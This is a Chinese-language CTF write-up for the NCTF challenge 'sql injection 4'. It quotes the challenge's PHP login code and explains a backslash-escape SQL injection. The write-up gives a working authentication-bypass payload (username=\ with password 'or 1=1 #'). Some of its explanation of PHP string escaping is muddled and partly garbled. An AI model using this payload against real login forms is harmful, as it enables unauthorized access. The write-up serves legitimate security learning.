1. 程式人生 > >NCTF sql injection 4

NCTF sql injection 4

在這裡插入圖片描述頁面僅有一句話

檢視原始碼,有如下資訊:

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
	if(get_magic_quotes_gpc()){
		$str=stripslashes($str);
	}
	return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}

echo $flag;
-->

注意 htmlentities($str, ENT_QUOTES)http://www.w3school.com.cn/php/func_string_htmlentities.asp 簡單來說就是將$str中的單雙引號(’ ,")過濾,這直接導致無法常規地使用(’)閉合SQL語句,只能用轉義字元吃掉單引號

現在再看

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';

反斜槓與單引號組合後會失效 所以上述SQL語句實際為

SELECT * FROM users WHERE name='.$username.' AND pass='.$password.';

.username..username.和.password.實際是我們通過get傳入的兩個引數,改為用a和b表示,改後如下

SELECT * FROM users WHERE name='a' AND pass='b';

由於無法使用單引號閉合,所以可以用反斜槓()將上面SQL語句中的第二個(’)轉義,傳入引數為:a\,使其失效,失效後的SQL實際如下

SELECT * FROM users WHERE name='a AND pass='b';

所以我們構造的注入語句即為:?username=\&password=or%201%3d1%23【or 1=1 #】

執行的SQL語句為:SELECT * FROM users WHERE name=' AND pass='or 1=1 #';

注意:還有就是,如果php的magic_quotes_gpc是開啟狀態的話,我們輸入的轉義符也會被去掉的,不過既然這道題目能做,說明我們是可以使用轉義符 (\)